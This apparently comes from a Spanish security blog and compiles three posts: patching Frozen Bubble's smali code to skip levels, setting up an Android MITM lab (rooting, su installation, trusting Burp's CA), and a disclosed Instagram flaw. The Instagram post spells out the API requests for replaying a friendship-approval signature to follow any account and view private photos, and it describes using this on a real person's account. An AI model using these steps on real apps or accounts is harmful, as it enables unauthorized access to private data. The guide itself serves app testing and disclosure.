    Desplazándonos a la porción de código del fichero GameView$GameThread donde esto ocurre observamos las siguientes líneas:

    ...
    iget-object v0, v0, Lorg/jfedor/frozenbubble/GameView$GameThread;->mLevelManager:Lorg/jfedor/frozenbubble/LevelManager;
    move-object v2, v0
    invoke-virtual {v2}, Lorg/jfedor/frozenbubble/LevelManager;->goToFirstLevel()V
    .line 412
    new-instance v2, Lorg/jfedor/frozenbubble/FrozenGame;
    ...

    Lo que está haciendo es:

    • – Con iget-object Lee la referencia a la instancia de un objecto.
    • – Con move-object Mueve la referencia del objecto de v0 a v2.
    • – Con invoke-virtual {v2} Llama al método goToFirstLevel() pasándole el parámetro v2 (objeto this)
    • – Con new-instance {v2} Creamos un objeto del tipo FrozenGame y asignamos su instancia a v2.

    Estamos ejecutando un simple objLevelManager.goToFirstLevel();. Analizando el código del método goToFirstLevel()V vemos que su función es la siguiente:

    .method public goToFirstLevel()V
    .locals 1
    .prologue
    .line 176
    const/4 v0, 0x0
    iput v0, p0, Lorg/jfedor/frozenbubble/LevelManager;->currentLevel:I
    .line 177
    return-void
    .end method

    • – Con const/4 v0, 0×0 Estamos colocando una constante de 4bytes dentro de v0, en este caso 0×0.
    • – Con iput v0, p0, …->currentLevel:I Estamos colocando el valor de v0 en el campo instanciado por p0

    Siendo p0 la referencia this procedente de:

    smali/org/jfedor/frozenbubble/GameView$GameThread.smali:4612: invoke-virtual {v2}, Lorg/jfedor/frozenbubble/LevelManager;->goToFirstLevel()V

    Es decir, estamos haciendo un simple this.currentLevel = 0. Pero no es aquí donde debemos de modificar el código, para ello nos dirijiremos al fichero GameView$GameThread, donde su constructor presenta el siguiente aspecto:

    .method public constructor (Lorg/jfedor/frozenbubble/GameView;Landroid/view/SurfaceHolder;[BI)V
    .locals 28
    .parameter
    .parameter "surfaceHolder"
    .parameter "customLevels"
    .parameter "startingLevel"

    • – Aquí, surfaceHolder corresponde al objeto SurfaceHolder.
    • – El parámetro customLevels corresponde al vector de bytes.
    • – Y startingLevel hace referencia al entero.
    • .

      Analizando el código, damos con la siguiente zona interesante:

      const­string v3, "level"
      const/4 v4, 0x0
      move­object/from16 v0, v25
      move­object v1, v3
      move v2, v4
      invoke­interface {v0, v1, v2}, Landroid/content/SharedPreferences;­>getInt(Ljava/lang/String;I)I
      move­result p4
      new­instance v3, Lorg/jfedor/frozenbubble/LevelManager;
      move­object v0, v3
      move­object/from16 v1, v22
      move/from16 v2, p4
      invoke­direct {v0, v1, v2}, Lorg/jfedor/frozenbubble/LevelManager;­>([BI)V

      Básicamente lo que estamos haciendo es pasar v2 que contiene el valor 0×0 al constructor de LevelManager como parámetro. Pero este valor antes de ser enviado es modificado por la llamada al método getInt, cuyo resultado es almacenado en el registro p4 y posteriormente movido a v2.

      Lo que haremos será suprimir las líneas

      • – invoke­interface {v0, v1, v2}, Landroid/content/SharedPreferences;­>getInt(Ljava/lang/String;I)I
      • – move­result p4
      • – move/from16 v2, p4

      Y modificar el valor de const/4 v4, 0×0. De esta forma el código final quedaría tal que:

      const­string v3, "level"
      const/4 v4, 0x6 Por ejemplo 0x6
      move­object/from16 v0, v25
      move­object v1, v3
      move v2, v4
      new­instance v3, Lorg/jfedor/frozenbubble/LevelManager;
      move­object v0, v3
      move­object/from16 v1, v22
      invoke­direct {v0, v1, v2}, Lorg/jfedor/frozenbubble/LevelManager;­>([BI)V

      Ya tenemos nuestra aplicación modificada y lista para empezar por el nivel que nosotros queramos. Si la recompilamos, firmamos e instalamos en nuestro dispositivo empezaremos directamente en el nivel 7

Auditando aplicaciones en Android

Introducción

El objetivo de este artículo es exponer los pasos necesarios para poder hacer un pentesting a las aplicaciones de Android, cubriendo así, la realización de ataques Man in the Middle (MiTM) para poder interceptar todo el tráfico generado.

¿Qué es necesario antes de comenzar?

Desde los puntos en los que he investigado, existen dos formas posibles de llevar a cabo el trabajo, bien utilizando un emulador o un dispositivo físico. Cada una de ellas, presenta sus ventajas y desventajas.

Por ejemplificar alguno de los inconvenientes que me he encontrado utilizando emuladores, es el hecho de que algunas aplicaciones comprueban el IMEI/MSISDN/IMSI del dispositivo, y si detecta que estamos emulándolo automáticamente cesará la actividad de la aplicación. No obstante esto es posible solventarlo realizando algunas modificaciones a nivel de código, pero eso es algo que está fuera del ámbito de esta entrada.

Nosotros, partiremos utilizando un dispositivo físico, y asumiremos que ya tenemos algo de experiencia y que por tanto disponemos del SDK de Android instalado adecuadamente en nuestro equipo.

En caso de no ser así, recomiendo leer estos dos artículos:

El siguiente punto, es la necesidad de tener nuestro dispositivo rooteado. Aquí no voy a explayarme en demasía, según la versión que tengas instalada en tu teléfono el método variaría.

En los terminales sobre los que investigo, siempre trato de utilizar 2.3.4 o 2.3.6 por manías propias. Sobre cómo rootear dichas versiones, podéis encontrar infinidad de artículos. Si queréis un método rápido, siempre podéis flashear el teléfono a la versión 2.3.6 descargando la imagen acorde a vuestro dispositivo y posteriormente utilizar el exploit zergRush.

Si por un casual decides hacer las pruebas en un emulador, te recomiendo que utilices la versión de api-level-8 o Android 2.2 y tras descargar el siguiente archivo:

Realices los siguientes pasos mientras el dispositivo emulado está ejecutándose:


./adb shell mount -o rw,remount -t yaffs2 /dev/block/mtdblock03 /system
./adb push su /system/xbin/su
./adb shell chmod 06755 /system.
./adb shell chmod 06755 /system/xbin/su

Posteriormente para instalar la aplicación superuser.apk, bastará con que ejecutes el siguiente comando:


./adb install -r superuser.apk

Estos pasos, serán necesarios realizarlos cada vez que levantes el emulador, sin embargo, puedes escribirte un pequeño script que te facilite la tarea.

¿Interceptamos HTTP?

Una vez realizados los pasos anteriores, nuestro siguiente objetivo en el punto de mira es saber cómo comenzar a interceptar las comunicaciones que son enviadas a través de HTTP por las aplicaciones o las páginas web que visitamos.

Supondremos como proxy (entre otras cosas) la aplicación Burp. Si estamos utilizando un dispositivo físico, bastará con descargar una aplicación que ejerzca de proxy, más adelante comentaré el uso de ProxyDroid.

Si por el contrario estamos bajo el emulador, podemos utilizar algunas de las opciones que por defecto la utilidad emulator (incluída en el SDK) pone a nuestra diposición. En mi humilde opinión, las más intersantes son las siguientes (-http-proxy | -dns-server | -debug-proxy  | -tcpdump).

Así pues, podríamos levantar el emulador utilizando la siguiente línea desde la terminal:

./emulator @device_name -http-proxy ip_proxy:proxy_port -debug-proxy

Obviamente, independientemente del método elegido, será necesario tener ejecutnado una instancia de Burp por detrás para que vaya interceptando todo el tráfico generado.

¿Cuál es el problema?

La cosa se “complica” cuando se intenta interceptar el tráfico generado por una aplicación que se comunique a través de SSL, en ese caso nuestro proxy será incapaz de capturar las peticiones y las respuestas generadas por el servidor. Provocando el cierre abrupto de la aplicación.

Llegados a este punto es necesario realizar dos ligeras modificaciones a nuestro entorno de laboratorio:

  • Incrustar el certificado raíz de BurpSuite en nuestro contenedor del dispositivo y hacerlo de confianza.
  • Modificar las cadenas “CONNECT IP” por “CONNECT DOMAIN_NAME”

El motivo de esto es debido a que Android por defecto no soporta el uso de proxies, cosa contraria al caso de iPhone. De forma que el comando HTTP CONNECT, normalmente asociado a proxies HTTP, no resuelve correctamente el nombre de dominio asignado a una dirección IP, provocando errores en los certificados SSL que impiden a la aplicación cargar su actividad con normalidad.

¿Cómo abordamos este problema?

Suponiendo que tenemos exportado el CA de Burp (puedes ver aquí cómo hacerlo según el navegador), dependiendo de si estamos en un dispositivo emulado o físico, el proceso de incrustarlo en nuestro sistema será distinto.

También necesitarás descargar el jar de bcprov-jdk16-141 a la hora de firmar el certificado.


Leyenda:

  • Símbolo > : Linea de comando en el equipo.
  • Symbol $ : Acceso por terminal al dispositivo (no privilegiado).
  • Symbol # : Acceso por terminal al dispositivo (privilegiado).

  • Dispositivo físico (Google Nexus One – v2.3.6) (Es aplicable a cualquier dispositivo)
    > ./adb shell
    > ./adb pull /system/etc/security/cacerts.bks .
    > keytool -keystore cacerts.bks -storetype BKS -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath path_to_bcprov-jdk16-141.jar -storepass changeit -import -v -trustcacerts -alias subdomain.yourappserver.com -file path_to_Burp_CA
    > ./adb shell mount -o remount, rw /system
    > ./adb push cacerts.bks /sdcard/
    $ su
    # cd /system/etc/security
    # cp cacerts.bks cacerts.bks.bak
    # rm cacerts.bks
    # cp /sdcard/cacerts.bks cacerts.bks
    > ./adb shell mount -o remount, ro /system
     

    Si reinicias el dispositivo, tendrás añadido como certificado de confianza el CA de Burp y ya podrás interceptar el tráfico que se envíe a través de SSL

  • Dispositivo emulado (api-level-8 v2.2)

  • > ./emulator @nombre_del_dispositivo
    > ./adb shell
    > ./adb pull /system/etc/security/cacerts.bks .
    > keytool -keystore cacerts.bks -storetype BKS -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath path_to_bcprov-jdk16-141.jar -storepass changeit -import -v -trustcacerts -alias subdomain.yourappserver.com -file path_to_Burp_CA
    > ./adb shell mount -o remount, rw /system
    > ./adb shell
    # mount
    # chmod 777 /system
    > ./adb push cacerts.bks /system/etc/security/
    > ./adb push mkfs.yaffs2.arm /data/data/temp/mkfs.yaffs2
    > ./adb shell chmod 777 /data/data/temp/mkfs.yaffs2
    > ./adb shell
    # cd /system
    # ./mkfs.yaffs2 /system /data/data/temp/system.img
    > ./adb pull /data/data/temp/system.img system.img
    > ./adb shell mount -o remount,ro -t yaffs2 /dev/block/mtdblock0 /system

    Navega hasta: android_SDK_home_path\platforms\target_version\images, realiza un backup del system.img.

    Sustitúyela por la imagen generada utilizando la herramienta mkfs.yaffs2 y reinicia el emulador. Una vez arranque, tendrás una versión parcheada del llavero, conteniendo el CA de nuestro proxy.

  • Dispositivo emulado (api-level-14 v4.0)A diferencia de los casos anteriores, aquí bastará con hacer:>./adb push path_to_your_burp_CA /sdcard/E instalarlo manualmente desde el panel de configuración.

 

Comenzando a auditar una aplicación

El siguiente paso será configurar el proxy de Burp con las siguientes opciones:

  • (bind to port: 8080 | bind to address: specific address | support invisible proxying | generate a CA-signed certificate  with a specific hostname)

Esta última opción es importante, puesto que para cada aplicación que deseemos auditar, tendremos que exportar e importar el certificado generado para el dominio al que nos estamos conectando a través de SSL, e indicarlo en el correspondiente recuadro.

Por otro lado será necesario  instalar la aplicación  ProxyDroid en nuestro dispositivo y configurarla con los mismos parámetros que hayamos utilizado para el Burp.

Finalmente, como recompensa, obtendremos lo siguiente:

Vulnerabilidad en Instagram (Friendship Vulnerability)

Introducción

[Extraído de la Wikipedia]

Instagram es una aplicación gratuita para compartir fotos con la que los usuarios pueden aplicar efectos fotográficos como filtros, marcos y colores retro y vintage y compartir las fotografías en diferentes redes sociales como Facebook, Twitter,Tumblr y Flickr. Una característica distintiva de la aplicación es que da una forma cuadrada y redondeada en las puntas a las fotografías en honor a la Kodak Instamatic y las cámaras Polaroid.

La aplicación fue diseñada para iPhone y a su vez está disponible para sus hermanos iPad y iPod con el sistema iOS 3.0.2 o superior pudiéndose descargar desde el App Store y desde su página web.

Vulnerabilidad

Se ha detectado una falta de control en la lógica utilizada para procesar el proceso de autorización aplicado a las peticiones de amistad. Permitiendo a un usuario malintencionado perpetrar un ataque de fuerza bruta para añadirse como amigo a cualquier cuenta de la aplicación de Instagram.

Siendo posible acceder a las imagénes tomadas por los usuarios de la aplicación y a la información publicada en su perfil. Así mismo, se ha comprobado que esta vulnerabilidad afecta también a aquellos usuarios cuyo álbum es privado, permitiendo tener acceso a las fotografías almacenadas en él.

Explotación

Cuando se accede al perfil de un usuario, la petición generada por la aplicación al servidor es la siguiente:

GET http://instagram.com/api/v1/users/USER_ID/info/ HTTP/1.1

Donde se pasa como parámetro distintivo el USER_ID y a partir de ahí se van generando las llamadas a la api. En el caso de la vulnerabilidad, para llegar a explotarla se decidió generar una petición de amistad legítima.

El aspecto que presenta la aplicación cuando esto sucede es el siguiente:

La petición para aceptar la petición de amistad es la siguiente:

POST http://instagram.com/api/v1/friendships/approve/USER_ID/ HTTP/1.1

Y además de la cookie con información sobre la sesión del usuario identificado en la aplicación, se envía el siguiente parámetro

signed_body=d3e7a3eda18825318482b0f5866c7bbaba4fe...........%7B%22user_id%22%3A%22USER_ID%22%7D

Dándole un vistazo, parece ser algún tipo de hash generado que otorga validez a la petición de amistad realizada por el usuario cuyo USER_ID también es enviado en la propia petición.

Por otro lado la petición de rechazar amistad, presenta el siguiente aspecto:

POST http://instagram.com/api/v1/friendships/ignore/182383487/ HTTP/1.1
...
signed_body=d3e7a3eda18825318482b0f5866c7bbaba4fe........%7B%22user_id%22%3A%22USER_ID%22%7D

Únicamente cambia la llamada a la API que se realiza, utilizando el método de ignore en lugar de approve.

Teniendo en cuenta esto, la primera prueba que se realizó fue ver si era posible realizar enumeración de usuarios y obtener aquellos datos publicados en su perfil.

Permitió obtener la siguiente información:

  • Un campo status, supongo que con información relevante hacia el estado de la cuenta.
  • Un array de nombre user, que a su vez posee los siguientes campos: {username – media_count – following_count – profile_pic_url – biography – full_name – follower_count – pk -is_private – external_url} (todos bastante descriptivos por su nombre).

Sabiendo la posibilidad de realizar esta enumeración de usuarios (que resulta ser una feature de la API) el siguiente paso fue hacer la prueba de si el hash generado para la petición de amistad legítima, podría ser utilizada para engañar al servidor y obligar a que todos los usuarios de la aplicación, automáticamente sin su conocimiento, fueran agregados como seguidores de nuestro perfil.

El resultado generado fue el siguiente:

Donde se puede apreciar que nuestro vector de ataque ha tenido éxito, y la petición devuelta por el servidor está compuesta por los siguientes parámetros:

  • Un campo status, supongo que con información relevante hacia el estado de la amistad.
  • Un array de nombre friendship_status, que a su vez posee los siguientes campos: {incoming_request – followed_by – outgoing_request – following – blocking – is_private} (todos bastante descriptivos por su nombre).

El resultado antes y después de hacer las pruebas:

 

¿Cuál puede ser el alcance de este fallo? Basta con darnos un paseo por el twitter de celebridades de Hollywood, famosos, presidentes del gobierno, etc. Acceder a su perfil de Instagram, obtener su ID de usuario y automáticamente explotar esta vulnerabilidad.

Independientemente de que su perfil sea privado, obtendremos acceso a sus fotos. Un ejemplo de esto:

Y como somos buenas personas y estamos de buen rollo. Vamos a felicitarle por la nueva adquisición.